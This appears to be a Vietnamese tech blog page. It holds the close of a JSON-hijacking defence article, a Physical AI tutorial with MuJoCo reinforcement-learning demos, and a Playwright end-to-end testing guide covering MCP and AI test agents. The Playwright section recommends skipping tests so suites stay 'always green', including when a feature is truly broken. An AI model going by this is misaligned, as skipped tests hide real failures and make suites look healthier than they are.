• Tấn công qua <script>: Bị chặn ngay lập tức do lỗi cú pháp hoặc vòng lặp vô tận.
• Truy cập hợp lệ qua Fetch API: Hoạt động bình thường sau khi cắt bỏ phần prefix.
• Nguyên tắc Defense in Depth: Không phụ thuộc hoàn toàn vào trình duyệt để bảo vệ người dùng.

Lần sau khi bạn thấy for(;;); hay )]}'\n trong một API response, hãy nhớ rằng đó không phải bug — đó là một lớp áo giáp được thiết kế rất cẩn thận.

Tài liệu tham khảo

• OWASP AJAX Security Cheat Sheet — Protect Against JSON Hijacking
• PortSwigger Research: JSON Hijacking for the Modern Web
• Phil Haack: JSON Hijacking (bài viết gốc giải thích lỗ hổng Array constructor)
• GitLab Docs: JSON Hijacking Check — định nghĩa và cách khắc phục
• Dev.to: Why Facebook's API starts with a for loop

Mục lục

1. Physical AI là gì?
2. Bên trong một robot có gì?
3. Tại sao cần Simulation?
4. Neural Network làm gì trong robot?
5. Sim-to-Real và các mô hình AI hiện đại
6. Thực hành: Chạy demo từ A-Z
7. Kết luận

Physical AI là gì?

Physical AI là hệ thống AI có khả năng hiểu và tương tác với thế giới vật lý. Khác với AI truyền thống chỉ xử lý text hay ảnh, Physical AI phải:

• Hiểu vật lý: trọng lực kéo vật xuống, ma sát giữ vật không trượt, lực cần thiết để nâng một chiếc cốc.
• Hành động trong không gian 3D: di chuyển, nắm, đẩy, xoay vật thể.
• Phản ứng real-time: xử lý sensor data và ra quyết định trong mili-giây.
• Chịu được sai số: thế giới thực không hoàn hảo như mô phỏng.

Điểm khác biệt lớn nhất? Khi LLM trả lời sai, bạn chỉ cần hỏi lại. Khi robot hành động sai, nó có thể làm vỡ cốc, đổ cà phê - hoặc tệ hơn, gây nguy hiểm cho người xung quanh.

Bên trong một robot có gì?

Một robot về cơ bản gồm 3 thành phần chính:

1. Sensors (Cảm biến) - "giác quan" của robot. Encoder đo góc quay khớp, gyroscope đo vận tốc, cảm biến lực đo áp lực tiếp xúc, camera cung cấp hình ảnh. Ví dụ, bàn tay robot Shadow Dexterous Hand có 92 cảm biến xúc giác phân bố trên lòng bàn tay và các đốt ngón.

2. Brain (Bộ não) - một Neural Network nhận dữ liệu từ sensors và quyết định hành động tiếp theo. Đây chính là phần "AI" của robot.

3. Actuators (Cơ cấu chấp hành) - "cơ bắp" của robot. Motor nhận tín hiệu điều khiển và tạo ra chuyển động.

Một khái niệm quan trọng là Degrees of Freedom (DOF) - số chuyển động độc lập robot có thể thực hiện. Cánh tay người có 7 DOF, bàn tay người có khoảng 21-27 DOF (tuỳ cách đếm). Shadow Dexterous Hand mô phỏng bàn tay người với 24 DOF. DOF càng cao, robot càng linh hoạt nhưng bài toán điều khiển càng khó.

Tại sao cần Simulation?

Bạn không thể dạy robot bằng cách để nó thử-sai trên robot thật. Một robot công nghiệp giá $50k-$500k, mỗi lần thử sai có thể làm hỏng phần cứng hoặc gây nguy hiểm. Và để học được, agent cần hàng triệu lần thử.

Giải pháp: Simulation - mô phỏng toàn bộ robot và môi trường vật lý trên máy tính. MuJoCo (Multi-Joint dynamics with Contact) là physics engine phổ biến nhất; DeepMind mua lại năm 2021 và open-source dưới Apache 2.0 năm 2022.

Lợi ích simulation:

• Rẻ: máy tính chạy 24/7, không hỏng hóc.
• Nhanh: 1 ngày sim = hàng năm trải nghiệm thực.
• An toàn: robot có "chết" cũng chỉ là reset.
• Song song: chạy 1000 instance cùng lúc trên cluster.

Neural Network làm gì trong robot?

Vấn đề cốt lõi: robot nhận 153 con số từ sensors và cần đưa ra 20 con số điều khiển motor. Hàm nào ánh xạ từ observation sang action? Đó chính là Neural Network.

Ví dụ với môi trường Shadow Hand:

import gymnasium as gym
import gymnasium_robotics

gymnasium_robotics.register_robotics_envs()
env = gym.make("HandManipulateBlock_ContinuousTouchSensors-v1")
obs, _ = env.reset()

print(obs["observation"].shape)   # (153,)  ← 61 robot state + 92 touch
print(env.action_space.shape)     # (20,)   ← 20 motor commands

Trong thuật toán SAC (Soft Actor-Critic):

• Actor Network: nhận observation, trả về action - "đầu ra" của robot.
• Critic Network: đánh giá action tốt hay xấu - giúp Actor cải thiện.

Quá trình training lặp hàng nghìn lần: nhìn → chọn action → nhận reward → cập nhật weights. Sau khi train xong, chỉ cần Actor Network để điều khiển robot với inference ~0.5ms.

Sim-to-Real và các mô hình AI hiện đại

Sim-to-Real là gì?

Robot học rất giỏi trong simulation, nhưng đem ra đời thực thì... vấp. Lý do: simulation không bao giờ giống hệt thực tế — ma sát sàn khác chút, khối lượng vật lệch vài gram, motor phản hồi chậm hơn, ánh sáng camera thay đổi. Khoảng cách này gọi là sim-to-real gap. Policy học "vừa khít" với sim sẽ thất bại khi gặp những sai lệch nhỏ đó ngoài thực tế.

Sim-to-Real là bài toán chuyển policy từ simulation sang robot thật mà vẫn chạy tốt.

Giải pháp: Domain Randomization

Ý tưởng: thay vì train trong 1 thế giới sim cố định, ta random hoá tham số vật lý (ma sát, khối lượng, lực, độ trễ, ánh sáng) mỗi episode. Agent buộc phải học policy chạy được trên nhiều biến thể khác nhau — nên khi gặp thực tế (chỉ là một biến thể nữa), nó không bỡ ngỡ.

Ví dụ trực quan: thay vì luyện lái xe trên đúng 1 con đường, bạn luyện trên hàng nghìn con đường khác nhau — ra đường lạ vẫn lái được. OpenAI dùng cách này để giải Rubik's Cube bằng 1 tay robot (2019).

Các mô hình AI hiện đại

Mở rộng khả năng Physical AI:

Tất cả các approach trên vẫn dựa trên 2 nền tảng cũ: RL + Simulation. Chỉ khác ở scale, data, và architecture.

Thực hành: Chạy một số demo cơ bản

Phần này hướng dẫn chạy thử các demo để thấy robot học trong simulation.

Yêu cầu hệ thống

Setup nhanh (1 lần)

# 1. Clone repo
git clone https://github.com/gmo-vietnamlab/lmt-physical-ai-001.git
cd lmt-physical-ai-001

# 2. Virtual env
python -m venv rl-env
source rl-env/bin/activate

# 3. Cài đặt
pip install "gymnasium-robotics[mujoco]" "stable-baselines3[extra]"

⚠️ Lưu ý: nếu chạy headless (server không GUI), thay render_mode="human" thành render_mode="rgb_array" trong code demo.

Demo 1 — FetchReach (dễ, ~2 phút)

Robot Fetch di chuyển gripper đến một điểm mục tiêu 3D. Đây là baseline tốt để thấy RL hoạt động ngay.

# Bước 1: train
python demos/fetch_reach.py
# → chọn Option 1: Train FetchReach
# ============================================================
# DEMO 1: FetchReach (easy - solves 100%)
# ============================================================
# Task: move the gripper to the target point (red)
# Action: 4 dims (dx, dy, dz, gripper)
# Observation: 10 dims (gripper position + velocity)

# Training 20k steps...
# Done in 101s

# Result: success=100%, avg_reward=-1.1
# -> The agent learned to move the gripper to the target!

# Model saved: saved_models/fetch_reach_sac.zip

Kết quả mong đợi: success rate 100% sau ~20,000 steps. Bạn sẽ thấy robot từ "giật lung tung" (random) chuyển sang "di chuyển chính xác đến điểm đỏ".

# Bước 2: xem robot hoạt động (sau khi train xong)
python demos/fetch_reach.py
# → chọn Option 2: Render FetchReach (xem 3D)
# Render: FetchReachDense-v4
# Close the MuJoCo window to stop.

# 2026-06-05 15:57:44.632 Python[26682:7615390] +[IMKClient subclass]: chose IMKClient_Modern
# 2026-06-05 15:57:44.632 Python[26682:7615390] +[IMKInputSession subclass]: chose IMKInputSession_Modern
#   Episode 1: OK reward=-0.5 (50 steps)
#   Episode 2: OK reward=-1.5 (50 steps)
#   Episode 3: OK reward=-1.9 (50 steps)
#   Episode 4: OK reward=-0.7 (50 steps)
#   Episode 5: OK reward=-1.6 (50 steps)

Đây là flow chuẩn của một dự án RL: Train → Save → Load → Inference:

Demo 2 — Shadow Hand với xúc giác (khó)

Môi trường phức tạp nhất - cùng loại robot OpenAI dùng giải Rubik's Cube.

Lưu ý: demo này chỉ render môi trường 3D với random actions để bạn cảm nhận độ phức tạp (24 DOF, 92 cảm biến xúc giác) — không train để đạt mục tiêu. Bàn tay sẽ cử động ngẫu nhiên, không "giải" được nhiệm vụ. Lý do: bài toán này cần hàng triệu steps + GPU, vượt phạm vi một demo nhanh.

python demos/manipulate_block_touch_sensors_example.py
# Option 1: Continuous Touch Sensors

Bạn sẽ thấy:

• Cửa sổ MuJoCo với bàn tay robot 24 DOF (24 khớp, 20 trong số đó actuated).
• 92 cảm biến xúc giác (hiển thị màu khi tiếp xúc).
• Observation 153 chiều = 61 robot state + 92 touch sensors.
• Action 20 chiều = 20 lệnh motor (mỗi motor điều khiển 1 actuated joint).

Phân bố 92 cảm biến xúc giác:

Mỗi sensor trả giá trị lực pháp tuyến (float >= 0). Bài toán này cần hàng triệu steps để solve - thể hiện độ khó thực sự của Physical AI.

Bảng đầy đủ options của fetch_reach.py

Troubleshooting

• Render cần màn hình: chạy server headless → thay render_mode="rgb_array" hoặc bỏ tham số.
• Tốc độ training: ~175 steps/giây trên MacBook M-series. GPU không giúp nhiều cho MuJoCo (CPU-bound).
• FetchSlide không solve ngay: cần tổng ~300k-500k steps (option 2 khoảng 6-10 lần). Đây là bình thường.
• Warning Overriding environment in registry: bỏ qua, không ảnh hưởng.
• MuJoCo không hiện GUI trên Mac: thử mjpython demos/... thay vì python.

Kết luận

Physical AI đang ở giai đoạn bùng nổ. Nền tảng vẫn là RL + Simulation - đúng như những gì demo này thể hiện. Các approach hiện đại (VLA, Diffusion Policy, World Models) chỉ khác ở scale, data, và architecture - không phải paradigm mới.

Tương lai không xa, robot sẽ xuất hiện trong nhà bếp, nhà máy, bệnh viện - tất cả được "dạy" theo cách bạn vừa thực hành.

Tài liệu tham khảo

• Gymnasium-Robotics (Farama Foundation)
• MuJoCo Documentation
• Stable-Baselines3
• OpenAI - Solving Rubik's Cube with a Robot Hand
• NVIDIA Isaac GR00T
• Physical Intelligence π0
• Diffusion Policy paper
• NVIDIA Cosmos World Foundation Models
• Soft Actor-Critic paper

Playwright là framework E2E testing mã nguồn mở do Microsoft phát triển (2020), bởi team từng xây dựng Puppeteer.

Nó tích hợp sẵn:

• test runner
• assertions
• test isolation
• parallel execution
• debugging tools

→ tất cả trong một package duy nhất

Hỗ trợ:

• Chromium, Firefox, WebKit
• Windows, Linux, macOS
• Headless / headed
• Mobile emulation

Khác với Selenium (WebDriver), Playwright: → giao tiếp trực tiếp với browser qua DevTools Protocol → nhanh hơn và ổn định hơn

2. Core capabilities

Auto-wait (loại bỏ flaky test)

Playwright tự động chờ element:

• visible
• stable
• enabled

await page.getByRole('button', { name: 'Submit' }).click();

Không cần:

• sleep()
• waitForSelector()

Assertions cũng auto-retry:

await expect(page).toHaveURL('/dashboard');

Test Isolation

Mỗi test chạy trong một BrowserContext riêng:

• không share cookies
• không share localStorage
• không share session

→ tương đương incognito → chạy song song không xung đột

Web-first Assertions

Assertions sẽ: → tự wait cho đến khi condition đúng

await expect(locator).toBeVisible();

→ giảm flaky test đáng kể

Locator (ưu tiên accessibility)

page.getByRole('button', { name: 'Login' })

thay vì:

page.locator('.btn-primary')

→ test resilient hơn khi UI thay đổi

Cross-browser

projects: [
  { name: 'chromium' },
  { name: 'firefox' },
  { name: 'webkit' }
]

→ viết 1 lần, chạy nhiều browser

3. Dev experience & tooling

Trace Viewer

npx playwright show-trace trace.zip

• timeline toàn bộ test
• DOM snapshot
• network / console log

→ debug deterministic

UI Mode

npx playwright test --ui

• watch mode
• time-travel debugging
• pick locator trực tiếp

Codegen

npx playwright codegen https://your-app.com

→ generate test từ thao tác thật

HTML Report

npx playwright show-report

Screenshots & Video

use: {
  screenshot: 'only-on-failure',
  video: 'retain-on-failure'
}

4. Advanced features

Network Interception

await page.route('**/api/**', route => {
  route.fulfill({ body: JSON.stringify({ mock: true }) });
});

API Testing

const res = await request.get('/api/users');

Multi-tab / Multi-window

const [newPage] = await Promise.all([
  context.waitForEvent('page'),
  page.click('a[target=_blank]')
]);

Parallel & Sharding

npx playwright test --shard=1/3

Fixtures

test('example', async ({ page, authUser }) => {
  // custom fixture
});

Authentication reuse

await context.storageState({ path: 'auth.json' });

5. Ưu & nhược điểm

Ưu điểm

• Nhanh, ổn định (DevTools Protocol)
• Built-in đầy đủ
• Parallel native
• Debug mạnh (trace viewer)

Nhược điểm

• Ecosystem chưa lớn bằng Selenium
• Cần làm quen locator mới

6. Playwright MCP — AI điều khiển browser

Playwright MCP server cho phép LLM (AI) tương tác với web thông qua Model Context Protocol.

Cách hoạt động:

• AI không nhìn screenshot hay pixel
• AI đọc accessibility snapshot — cấu trúc text mô tả toàn bộ UI

Ví dụ, AI nhìn thấy trang web như thế này:

- heading "todos" [level=1]
- textbox "What needs to be done?" [ref=e5]
- listitem:
  - checkbox "Toggle Todo" [ref=e10]
  - text: "Buy groceries"

Mỗi element có một ref (reference ID). AI dùng ref để tương tác:

• ref=e5 → type text vào textbox
• ref=e10 → check checkbox

→ không cần vision model, không đoán tọa độ → nhanh, chính xác, hoạt động với mọi MCP client (VS Code, Cursor, Kiro...)

7. Playwright Test Agents — AI tự viết test

Playwright Test Agents đưa AI vào toàn bộ lifecycle của testing.

Bao gồm 3 agents:

• Planner — khám phá app, sinh test plan
• Generator — viết code test từ plan
• Healer — tự sửa test khi fail

Flow:

seed → planner → generator → healer

Seed file

Bạn chỉ cần viết 1 test cơ bản — đưa AI vào đúng trang cần test:

test('seed', async ({ page }) => {
  await page.goto('/');
  // login nếu cần
  // verify đã vào được app
});

Planner sẽ chạy seed này để "bước vào" ứng dụng, rồi từ đó khám phá tiếp.

Planner — tạo test plan

Planner mở browser, đi qua từng trang, đọc menu, form, button, table... rồi sinh ra file markdown mô tả các test scenarios:

## 1. Add Valid Todo
**Steps:**
1. Click "What needs to be done?" input
2. Type "Buy groceries"
3. Press Enter

**Expected:**
- Todo xuất hiện trong list
- Counter shows "1 item left"

Bạn review plan này, thêm edge cases nếu cần, rồi chuyển cho generator.

Generator — viết code test

Generator đọc plan, mở browser thật, thực hiện từng step, verify selector trực tiếp trên UI, rồi sinh code .spec.ts:

test('Add Valid Todo', async ({ page }) => {
  const input = page.getByRole('textbox', { name: 'What needs to be done?' });
  await input.fill('Buy groceries');
  await input.press('Enter');
  await expect(page.getByText('Buy groceries')).toBeVisible();
  await expect(page.getByText('1 item left')).toBeVisible();
});

Healer — self-healing test

Khi test fail (UI đổi, selector cũ, timing issue...), healer tự:

1. replay failing step
2. inspect UI hiện tại
3. tìm element tương đương
4. patch code (update locator, thêm wait...)
5. chạy lại

Nếu feature thực sự bị lỗi (không phải do test sai): → healer skip test thay vì sửa vô nghĩa

8. Authentication trong thực tế

Khi app cần đăng nhập, test cần login trước khi chạy. Playwright có 2 cách tùy theo mode:

CLI mode (npx playwright test)

Login 1 lần, lưu session ra file, các test sau dùng lại — không cần login lại:

// auth.setup.ts — chạy 1 lần trước tất cả test
setup('login', async ({ page }) => {
  await page.goto('/login');
  await page.getByLabel('Username').fill('test');
  await page.getByLabel('Password').fill('test');
  await page.getByRole('button', { name: 'Login' }).click();

  // Lưu cookies + localStorage ra file
  await page.context().storageState({ path: 'playwright/.auth/user.json' });
});

Config để các test tự load session đã lưu:

projects: [
  { name: 'setup', testMatch: /.*\.setup\.ts/ },
  {
    name: 'chromium',
    use: { storageState: 'playwright/.auth/user.json' },
    dependencies: ['setup'],
  },
]

MCP mode (AI agents chạy test đơn lẻ)

Khi agents chạy test qua MCP, không có project config → không có session file. Dùng custom fixture để tự detect và auto-login:

export const test = base.extend({
  page: async ({ page }, use) => {
    const originalGoto = page.goto.bind(page);
    page.goto = async (url, options) => {
      const res = await originalGoto(url, options);
      if (page.url().includes('/login')) {
        await page.getByLabel('Username').fill('test');
        await page.getByLabel('Password').fill('test');
        await page.getByRole('button', { name: 'Login' }).click();
        await page.waitForLoadState('domcontentloaded');
      }
      return res;
    };
    await use(page);
  },
});

→ CLI mode: login 1 lần, reuse session → MCP mode: tự login khi cần

9. Test có side-effect — chạy lại vẫn pass

Một số test thực hiện hành động thay đổi dữ liệu thật:

• hủy đơn hàng
• xóa tài khoản
• cancel điểm

Vấn đề: lần đầu chạy thì pass, nhưng lần 2 dữ liệu đã bị thay đổi → test fail.

Cách xử lý: kiểm tra trạng thái dữ liệu trước khi thực hiện.

test('cancel order', async ({ page }) => {
  await page.goto('/orders');

  // Tìm đơn hàng chưa cancel
  const cancelBtn = page.getByRole('button', { name: 'Cancel' });

  if (await cancelBtn.count() === 0) {
    // Không còn đơn nào để cancel → skip thay vì fail
    test.skip(true, 'No orders available to cancel');
    return;
  }

  // Có đơn → thực hiện cancel
  await cancelBtn.first().click();
  await expect(page.getByText('Cancelled')).toBeVisible();
});

→ lần 1: cancel thành công → lần 2: detect không còn data → skip → test luôn green, chạy bao nhiêu lần cũng được

10. Kết luận

Playwright là E2E testing framework hiện đại:

• nhanh
• ổn định
• đa trình duyệt

Playwright MCP mở ra hướng: → AI điều khiển browser một cách deterministic

Playwright Test Agents đưa testing lên một level mới: → AI tự viết test → AI tự debug → AI tự sửa lỗi

Workflow mới:

seed → AI generate → AI fix

Với các hệ thống lớn hoặc cần scale automation, Playwright + Test Agents gần như là lựa chọn mặc định hiện tại.